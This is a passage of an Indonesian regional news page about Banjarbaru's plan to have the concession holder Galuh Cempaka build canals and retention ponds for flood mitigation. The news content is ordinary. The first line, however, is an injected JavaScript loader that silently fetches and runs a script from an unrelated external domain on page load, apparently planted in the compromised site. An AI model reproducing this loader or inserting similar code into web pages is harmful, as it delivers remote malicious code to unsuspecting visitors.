(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Guna mengentaskan permasalahan banjir dalam jangka panjang, Pemko Banjarbaru akan mempunyai beberapa embung. Salah satunya di Galuh Cempaka.
Galuh Cempaka memiliki dokumen lingkungan pada tahun 2018 yang di dalamnya ada komitmen mengentaskan permasalahan banjir di Banjarbaru. Nantinya luapan air dari sungai-sungai Cempaka akan dialirkan melalui kanal yang akan ditampung embung-embung Galuh Cempaka dan bisa dimanfaatkan ekowisata air.
Kepala Bidang Tata Lingkungan DLH Banjarbaru ,Rusmilawati mengatakan Galuh Cempaka mempunyai dokumen kontra karya yang diterbitkan Presiden yang akan habis pada tahun 2034. Sehingga Galuh Cempaka ini memiliki izin untuk mengeksploitasi.
“Dokumen amdal yang sudah diterbitkan pada tahun 2018 lalu seluas 2900 meter persegi,” ucapnya. Rabu (16/2/2022).
Baca juga: Gelar Patroli, Polres Tanbu Amankan Remaja Mabuk-mabukan
Salah satu bentuk pemantauan di dokumen amdal tersebut untuk membuat saluran air atau kanal.
Ini juga inisiatif Wali Kota Banjarbaru M Aditya Mufti Ariffin untuk membuat embung di Galuh Cempaka untuk mitigasi banjir.
“Sudah konsultasi dengan Galuh Cempaka, dokumen lingkungan merupakan komitmen, sehingga mereka berkomitmen dengan yang ditandatangani di atas materai salah satunya untuk mengelola terjadinya banjir dengan membuat kanal,” jelasnya.
Dikatakannya, pihaknya akan bekerja sama dengan Galuh Cempaka di CSR untuk membuat saluran air tersebut.
Diungkapkan Mila, Banjarbaru sudah membuat DED dan master plan untuk Galuh Cempaka oleh Dinas PUPR Banjarbaru.
Masih kata Mila, di embung-embung itu mereka juga berkomitmen untuk membuat objek ekowisata air.
Terkait progresnya lanjut Mila dikatakannya sekarang masih dalam proses pembuatan MoU, yang salah satunya isinya bahwa Galuh Cempaka bersedia bekerja sama dengan Pemko Banjarbaru untuk penanganan banjir dengan membuat kanal air atau embung.
Dikatakannya Pemko Banjarbaru tidak ada wewenang untuk membangun yang secara konsesi masih milik Galuh Cempaka.
Baca juga: Gubernur Kalsel 1985-1995 Ir HM Said Tutup Usia
“Mudah-mudahan Galuh Cempaka sendiri yang membuatnya,” ujarnya.
Pihaknya sudah menekan Galuh Cempaka untuk pembangunan sebab masuk di komitmen yang akan dikejar oleh pihak Kementerian pada saat melakukan pengawasan.(kanalkalimantan.com/ibnu)
Reporter: ibnu
Editor: cell
KANALKALIMANTAN.COM, BANJARMASIN - Petugas kepolisian dari Polsek Banjarmasin Barat menangkap dua orang remaja yang berniat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Penyelenggaraan Pemilihan Kepala Daerah (Pilkada) Serentak 2024 di Kota Banjarbaru Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More
This website uses cookies.